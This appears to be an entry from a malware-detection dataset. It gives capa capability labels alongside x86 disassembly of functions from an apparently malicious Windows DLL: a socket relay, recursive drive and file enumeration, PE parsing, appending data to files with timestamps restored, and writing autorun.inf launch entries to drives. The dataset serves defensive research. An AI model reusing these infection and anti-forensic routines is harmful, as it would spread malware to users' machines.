joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007886
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffeec8
push 0
pop dword [ebp - 0x20]
push 0
pop dword [ebp - 0x1c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.100075ef
cmp eax, 0
jne 0x10007ade
push dword [ebp + 8]
call fcn.100076d2
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 4], 0
je 0x100078d6
cmp dword [ebp - 8], 0
je 0x100078d6
cmp dword [ebp - 0xc], 0
jne 0x100078ea
push 0
push 0
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.1000783c
jmp 0x10007ade
cmp dword [ebp - 0xc], 1
jne 0x10007920
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.10007b4c
cmp eax, 0xffffffff
je 0x10007aba
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
call fcn.10004ab1
push ebx
push eax
push 0
push dword [ebp + 8]
call fcn.1000783c
jmp 0x100079a5
cmp dword [ebp - 0xc], 2
jne 0x10007992
push 0
call fcn.10007ae2
cmp eax, 0xffffffff
je 0x10007acc
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
call fcn.10004ad9
push ebx
push dword [ebp + 8]
call fcn.10004ad9
pop ebx
push ebx
push eax
push 0
push dword [ebp + 8]
call fcn.1000783c
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x20]
call sub.ws2_32.dll_accept
cmp eax, 0xffffffff
jne 0x1000797a
lea eax, [ebp - 0x20]
push eax
call fcn.10004a67
jmp 0x10007acc
mov dword [ebp - 0x1c], eax
push 0
push word [ebp - 0x2e]
push dword [ebp - 0x2c]
push 0
push dword [ebp + 8]
call fcn.1000783c
jmp 0x100079a5
push 0
push 0
push 7
push dword [ebp + 8]
call fcn.1000783c
jmp 0x10007ade
mov dword [ebp - 0x138], 0
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x138]
shl ecx, 2
mov dword ss:[ecx + ebp - 0x134], eax
inc dword [ebp - 0x138]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x138]
shl ecx, 2
mov dword ss:[ecx + ebp - 0x134], eax
inc dword [ebp - 0x138]
push 0
push 0
push 0
lea eax, [ebp - 0x138]
push eax
push 0
call sub.ws2_32.dll_select
cmp eax, 0
ja 0x10007a01
jmp 0x10007a9e
lea eax, [ebp - 0x138]
push eax
push dword [ebp + 8]
call sub.ws2_32.dll___WSAFDIsSet
or eax, eax
je 0x10007a4d
push dword [0x1000f61c]
push 0
push 0x1000
lea eax, [ebp - 0x1138]
push eax
push dword [ebp + 8]
call fcn.10004bf6
or eax, eax
je 0x10007a4b
cmp eax, 0xffffffff
je 0x10007a4b
push eax
lea eax, [ebp - 0x1138]
push eax
push dword [ebp - 0x1c]
call fcn.100049c9
jmp 0x10007a4d
jmp 0x10007a9e
lea eax, [ebp - 0x138]
push eax
push dword [ebp - 0x1c]
call sub.ws2_32.dll___WSAFDIsSet
or eax, eax
je 0x10007a99
push dword [0x1000f61c]
push 0
push 0x1000
lea eax, [ebp - 0x1138]
push eax
push dword [ebp - 0x1c]
call fcn.10004bf6
or eax, eax
je 0x10007a97
cmp eax, 0xffffffff
je 0x10007a97
push eax
lea eax, [ebp - 0x1138]
push eax
push dword [ebp + 8]
call fcn.100049c9
jmp 0x10007a99
jmp 0x10007a9e
jmp 0x100079a5
lea eax, [ebp - 0x1c]
push eax
call fcn.10004a67
cmp dword [ebp - 0x20], 0
je 0x10007ab6
lea eax, [ebp - 0x20]
push eax
call fcn.10004a67
leave
ret 0xc
push 0
push 0
push 4
push dword [ebp + 8]
call fcn.1000783c
leave
ret 0xc
push 0
push 0
push 4
push dword [ebp + 8]
call fcn.1000783c
leave
ret 0xc
leave
ret 0xc
Function at 0x10007ae2
Capabilities:
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push 6
push 1
push 2
call sub.ws2_32.dll_socket
cmp eax, 0xffffffff
je 0x10007b30
mov dword [ebp - 4], eax
mov word [ebp - 0x14], 2
push dword [ebp + 8]
call sub.ws2_32.dll_htons
mov word [ebp - 0x12], ax
mov dword [ebp - 0x10], 0
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call sub.ws2_32.dll_bind
test eax, eax
jne 0x10007b37
push 5
push dword [ebp - 4]
call sub.ws2_32.dll_listen
mov eax, dword [ebp - 4]
leave
ret 4
push dword [ebp - 4]
call sub.ws2_32.dll_closesocket
mov eax, 0xffffffff
leave
ret 4

Function at 0x10007b4c
Capabilities:
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push 0xffffffffffffffff
pop dword [ebp - 0x14]
push 6
push 1
push 2
call sub.ws2_32.dll_socket
cmp eax, 0xffffffff
je 0x10007bc8
mov dword [ebp - 0x14], eax
push 1
pop dword [ebp - 0x18]
lea eax, [ebp - 0x18]
push eax
push 0x8004667e
push dword [ebp - 0x14]
call sub.ws2_32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x10]
push eax
call fcn.10001a2c
mov word [ebp - 0x10], 2
mov eax, dword [ebp + 0xc]
mov word [ebp - 0xe], ax
push dword [ebp + 8]
pop dword [ebp - 0xc]
push dword [0x1000f618]
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
call fcn.10004b01
cmp eax, 0xffffffff
jne 0x10007bc8
push dword [ebp - 0x14]
call sub.ws2_32.dll_closesocket
mov eax, 0xffffffff
leave
ret 8
mov eax, dword [ebp - 0x14]
leave
ret 8

Function at 0x100083c9
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
mov edi, dword [ebp + 8]
push 0x40
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10007edf
cmp eax, 1
jne 0x10008435
cmp word [edi], 0x5a4d
jne 0x10008435
add edi, dword [edi + 0x3c]
push 0xf8
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10007edf
cmp eax, 1
jne 0x10008435
cmp dword [edi], 0x4550
jne 0x10008435
cmp word [edi + 4], 0x14c
jne 0x10008435
cmp word [edi + 0x18], 0x10b
jne 0x10008435
cmp dword [edi + 0xe8], 0
jne 0x10008435
cmp dword [edi + 0x98], 0
jne 0x10008435
mov eax, 1
jmp 0x1000843a
mov eax, 0
pop ebx
pop edi
leave
ret 8

Function at 0x1000889c
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe4
push esi
push 0
pop dword [ebp - 4]
push dword [ebp + 8]
lea eax, [ebp - 0x404]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x404]
push eax
call fcn.10008873
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x40c]
push eax
lea eax, [ebp - 0x404]
push eax
call sub.kernel32.dll_GetDiskFreeSpaceExA
or eax, eax
je 0x10008908
mov edx, dword [ebp - 0x418]
mov eax, dword [ebp - 0x41c]
or edx, edx
jne 0x10008903
cmp eax, dword [0x10011396]
jb 0x10008908
push 1
pop dword [ebp - 4]
mov eax, dword [ebp - 4]
pop esi
leave
ret 4
Function at 0x10008a3d
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffab8
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x546]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x546]
push eax
call fcn.10008873
lea eax, [ebp - 0x546]
push eax
call sub.kernel32.dll_lstrlenA
mov dword [ebp - 8], eax
push 0x10010b70
lea eax, [ebp - 0x546]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [ebp - 0x146]
push eax
lea eax, [ebp - 0x546]
push eax
call sub.kernel32.dll_FindFirstFileA
cmp eax, 0xffffffff
je 0x10008b43
mov dword [ebp - 4], eax
push 2
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x11a]
push eax
call fcn.10008949
or eax, eax
jne 0x10008b23
lea esi, [ebp - 0x546]
add esi, dword [ebp - 8]
mov al, 0
mov byte [esi], 0
lea eax, [ebp - 0x11a]
push eax
lea eax, [ebp - 0x546]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [ebp - 0x146]
and eax, 0x10
cmp eax, 0x10
jne 0x10008b14
lea eax, [ebp - 0x546]
push eax
call fcn.10008873
lea eax, [ebp - 0x546]
push eax
call fcn.10008910
or eax, eax
jne 0x10008b23
push dword [ebp + 0xc]
lea eax, [ebp - 0x546]
push eax
call fcn.10008a3d
jmp 0x10008b23
push dword [ebp + 0xc]
lea eax, [ebp - 0x546]
push eax
call fcn.100089d2
lea eax, [ebp - 0x146]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_FindNextFileA
cmp eax, 0
jne 0x10008aa1
push dword [ebp - 4]
call sub.kernel32.dll_FindClose
pop esi
leave
ret 8

Function at 0x10008b48
Capabilities:
Get common file path

Disassembly:
push 0x400
push str.C:Windows_system32_
call sub.kernel32.dll_GetSystemDirectoryA
push 0x400
push str.C:Windows_
call sub.kernel32.dll_GetWindowsDirectoryA
push str.C:Windows_system32_
call sub.kernel32.dll_lstrlenA
lea esi, str.C:Windows_system32_
add esi, eax
mov bl, 0
mov byte [esi], bl
push str.C:Windows_
call sub.kernel32.dll_lstrlenA
lea esi, str.C:Windows_
add esi, eax
mov bl, 0
mov byte [esi], bl
push str.C:Windows_system32_
call fcn.10008873
push str.C:Windows_
call fcn.10008873
ret

Function at 0x10008ba7
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push esi
call fcn.10008b48
lea eax, [ebp - 0x200]
push eax
push 0x200
call sub.kernel32.dll_GetLogicalDriveStringsA
lea esi, [ebp - 0x200]
cmp byte [esi], 0
je 0x10008c01
push esi
call fcn.1000889c
cmp eax, 1
jne 0x10008bf6
push esi
push esi
call sub.kernel32.dll_GetDriveTypeA
pop esi
cmp eax, 3
je 0x10008bef
cmp eax, 2
jne 0x10008bf6
push esi
push esi
call fcn.10008a3d
push esi
call fcn.100021b2
add esi, eax
inc esi
jmp 0x10008bcd
pop esi
leave
ret
Function at 0x10008ee4
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push ecx
push edi
push esi
push 0
pop dword [ebp - 0xc]
push 0
pop dword [ebp - 8]
push dword [ebp + 0xc]
call fcn.10003856
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0
push dword [ebp + 8]
call sub.advapi32.dll_RegQueryInfoKeyA
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x18], 0
jne 0x10008f39
push 0x3fff
pop dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
push dword [ebp - 0x18]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x1000902b
mov dword [ebp - 0x10], eax
mov ecx, 0
cmp dword [ebp - 0x20], 0
jne 0x10008f6b
cmp ecx, dword [ebp - 0x14]
jae 0x10008f6b
cmp dword [ebp - 0xc], 0
je 0x10008f70
jmp 0x10009023
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call fcn.10001a2c
push ecx
push dword [ebp - 0x18]
lea eax, [ebp - 0x28]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push ecx
push dword [ebp + 8]
call sub.advapi32.dll_RegEnumKeyExA
mov dword [ebp - 0x20], eax
or eax, eax
jne 0x10009019
push dword [ebp - 0x10]
call fcn.100021b2
mov dword [ebp - 0x18], eax
push dword [ebp - 0x18]
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x2c]
call fcn.100024bc
or eax, eax
je 0x10008fd6
push 2
pop dword [ebp - 0xc]
push dword [ebp - 0x18]
push dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
call fcn.10003776
jmp 0x10009019
lea eax, [ebp - 4]
push eax
push 1
push 0
push dword [ebp - 0x10]
push dword [ebp + 8]
call sub.advapi32.dll_RegOpenKeyExA
or eax, eax
jne 0x10009019
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.10008e45
cmp eax, 1
jne 0x10009011
push 1
pop dword [ebp - 0xc]
push dword [ebp - 0x18]
push dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
call fcn.10003776
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
pop dword [ebp - 0x18]
pop ecx
inc ecx
jmp 0x10008f5a
push dword [ebp - 0x10]
call sub.kernel32.dll_GlobalFree
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
pop esi
pop edi
pop ecx
pop ebx
leave
ret 8
Function at 0x1000984e
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push 0
pop dword [ebp - 8]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x100098d5
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov edx, dword [ebp + 0xc]
add edx, 0x24
cmp eax, edx
jbe 0x100098cd
cmp eax, 0xffffffff
je 0x100098cd
cmp dword [ebp - 0x10], 0
jne 0x100098cd
sub eax, edx
push 0
push 0
push eax
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push 0x24
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
or eax, eax
je 0x100098cd
push dword [ebp + 0x10]
call fcn.10007e42
mov dword [ebp - 8], eax
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 8]
leave
ret 0xc

Function at 0x100098dc
Capabilities:
Check if file exists
Get file attributes
Get file size
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push dword [ebp + 8]
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0x20], eax
push 0x80
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x1000997a
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileTime
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
cmp eax, 0xffffffff
je 0x1000995e
mov edi, dword [ebp + 0xc]
cmp eax, dword [edi + 0x1c]
jbe 0x1000995e
push 0
push 0
push dword [edi + 0x1c]
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 4]
call sub.kernel32.dll_SetEndOfFile
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_SetFileTime
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x20]
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
leave
ret 8
Function at 0x10009989
Capabilities:
Check if file exists
Get file attributes
Get file size
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push dword [ebp + 8]
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0x58], eax
push 0x80
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x10009b42
mov dword [ebp - 4], eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileTime
lea eax, [ebp - 0x38]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x38], 0
jne 0x10009b1b
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call fcn.10001ca6
cmp eax, 0
je 0x10009b1b
mov dword [ebp - 0xc], eax
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.100083c9
test eax, eax
je 0x10009b12
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10007f8d
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x14]
push dword [esi + 0x40]
pop dword [ebp - 0x2c]
cmp dword [ebp + 0x10], 0
jne 0x10009a4d
cmp dword [ebp - 0x2c], 0
je 0x10009a4d
jmp 0x10009b12
mov edi, dword [ebp + 0xc]
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10007f45
mov ax, word [eax + 2]
movzx eax, ax
cmp eax, dword [edi + 0x20]
jne 0x10009b12
push dword [edi + 0x1c]
pop dword [esi + 0x10]
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.100085e1
test eax, eax
je 0x10009b12
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x28]
push eax
call fcn.10001ce9
push 0
push 0
push dword [ebp - 0x3c]
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push dword [ebp - 4]
call sub.kernel32.dll_SetEndOfFile
cmp dword [ebp + 0x10], 0
je 0x10009b10
cmp dword [ebp - 0x2c], 0
je 0x10009b10
push 0
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call fcn.10001ca6
or eax, eax
je 0x10009b10
mov dword [ebp - 0xc], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0x34], eax
lea ebx, [ebp - 0x2c]
lea edx, [ebp - 0x30]
push edx
push ebx
push eax
push dword [ebp - 0xc]
call dword [ebp + 0x10]
or eax, eax
je 0x10009b07
push dword [ebp - 0x34]
push dword [ebp - 0xc]
call fcn.10007f8d
mov esi, eax
push dword [ebp - 0x30]
pop dword [esi + 0x40]
lea eax, [ebp - 0x28]
push eax
call fcn.10001ce9
jmp 0x10009b1b
lea eax, [ebp - 0x28]
push eax
call fcn.10001ce9
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_SetFileTime
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x58]
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
leave
ret 0xc
Function at 0x10009f52
Capabilities:
Check if file exists
Get file attributes
Get file size
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
lea eax, [ebp - 0x2c]
push eax
push 3
push dword [ebp + 8]
call fcn.1000984e
cmp eax, 1
jne 0x10009fa9
mov eax, dword [0x1000f004]
cmp dword [ebp - 0x24], 5
jne 0x10009f84
cmp dword [ebp - 0x20], 6
jne 0x10009f84
cmp dword [ebp - 0x1c], eax
jne 0x10009f96
cmp dword [ebp - 0x24], 5
jb 0x10009f96
cmp dword [ebp - 0x24], 5
jne 0x10009fa4
cmp dword [ebp - 0x20], 6
jae 0x10009fa4
lea eax, [ebp - 0x2c]
push eax
push dword [ebp + 8]
call fcn.100098dc
jmp 0x10009fa9
jmp 0x1000a134
push dword [ebp + 8]
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0x54], eax
push 0x80
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x1000a129
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
cmp eax, 0xffffffff
je 0x1000a121
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileTime
push 2
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
call sub.kernel32.dll_GetTickCount
push 0xffffffffffffffff
push eax
call fcn.10002d89
push 0x24
lea eax, [ebp - 0x2c]
push eax
call fcn.10001a2c
mov dword [ebp - 0x2c], eax
push 0xfa1bc352
pop dword [ebp - 0x28]
push 5
pop dword [ebp - 0x24]
push 6
pop dword [ebp - 0x20]
push dword [0x1000f004]
pop dword [ebp - 0x1c]
push dword [0x1000f008]
pop dword [ebp - 0x18]
call fcn.10005385
mov dword [ebp - 0x14], eax
push dword [ebp - 0x38]
pop dword [ebp - 0x10]
lea edi, [ebp - 0x2c]
mov edx, 0x24
mov eax, dword [ebp - 0x2c]
sub edx, 4
test edx, edx
je 0x1000a097
xor dword [edx + edi], eax
jmp 0x1000a08b
push 0xc8
call fcn.1000d780
add eax, 0x12c
mov dword [ebp - 0x34], eax
push dword [ebp - 0x34]
push 0x40
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x1000a0e1
mov dword [ebp - 0x30], eax
push dword [ebp - 0x34]
push dword [ebp - 0x30]
call fcn.10002bd4
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x30]
call sub.kernel32.dll_GlobalFree
push 0
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push 0
lea eax, [ebp - 8]
push eax
push 3
push 0x1000fc97
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_SetFileTime
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x54]
push dword [ebp + 8]
call sub.kernel32.dll_SetFileAttributesA
leave
ret 0xc
Function at 0x1000a1f7
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push esi
push 0
pop dword [ebp - 0x40c]
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x400]
push eax
call fcn.10008873
push str.autorun.inf
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x1000a2ca
mov dword [ebp - 0x410], eax
push 0
push dword [ebp - 0x410]
call sub.kernel32.dll_GetFileSize
cmp eax, 3
jbe 0x1000a2bf
push 0
lea eax, [ebp - 0x408]
push eax
push 3
lea eax, [ebp - 0x404]
push eax
push dword [ebp - 0x410]
call sub.kernel32.dll_ReadFile
lea esi, [ebp - 0x404]
add esi, dword [ebp - 0x408]
mov al, 0
mov byte [esi], al
push 0x1000fc9a
lea eax, [ebp - 0x404]
push eax
call sub.kernel32.dll_lstrcmpiA
or eax, eax
jne 0x1000a2bf
push 1
pop dword [ebp - 0x40c]
push dword [ebp - 0x410]
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 0x40c]
pop esi
leave
ret 4
Function at 0x1000a2d5
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbec
push esi
push dword [ebp + 0xc]
call sub.kernel32.dll_lstrlenA
mov ebx, 3
mul ebx
add eax, 0x92
inc eax
push eax
push 0
call sub.kernel32.dll_GlobalAlloc
or eax, eax
je 0x1000a480
mov dword [ebp - 0x404], eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push str._autorun__r_nactionOpen_r_nicon__WinDir___system32_shell32.dll_4_r_nshellexecute_s_r_nshellexplorecommand_s_r_nUSEAUTOPLAY1_r_nshellOpencommand_s_r_n
push dword [ebp - 0x404]
call sub.user32.dll_wsprintfA
add esp, 0x14
push dword [ebp + 8]
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [ebp - 0x400]
push eax
call fcn.10008873
push str.autorun.inf
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_lstrcatA
push 0x80
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x27
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x1000a475
mov dword [ebp - 0x414], eax
push 0
lea eax, [ebp - 0x408]
push eax
push 3
push 0x1000fc9a
push dword [ebp - 0x414]
call sub.kernel32.dll_WriteFile
mov eax, 0x1f40
sub eax, 0xfa0
push eax
call fcn.1000d780
add eax, 0xfa0
mov dword [ebp - 0x410], eax
push dword [ebp - 0x410]
push 0
call sub.kernel32.dll_GlobalAlloc
cmp dword [ebp - 0x40c], 0
je 0x1000a46a
mov dword [ebp - 0x40c], eax
push dword [ebp - 0x410]
push dword [ebp - 0x40c]
call fcn.10002c53
push 0
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 0x410]
push dword [ebp - 0x40c]
push dword [ebp - 0x414]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x404]
call sub.kernel32.dll_lstrlenA
mov ebx, eax
push 0
lea eax, [ebp - 0x408]
push eax
push ebx
push dword [ebp - 0x404]
push dword [ebp - 0x414]
call sub.kernel32.dll_WriteFile
push 0
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 0x410]
push dword [ebp - 0x40c]
push dword [ebp - 0x414]
call sub.kernel32.dll_WriteFile
push dword [ebp - 0x40c]
call sub.kernel32.dll_GlobalFree
push dword [ebp - 0x414]
call sub.kernel32.dll_CloseHandle
push dword [ebp - 0x404]
call sub.kernel32.dll_GlobalFree
pop esi
leave
ret 8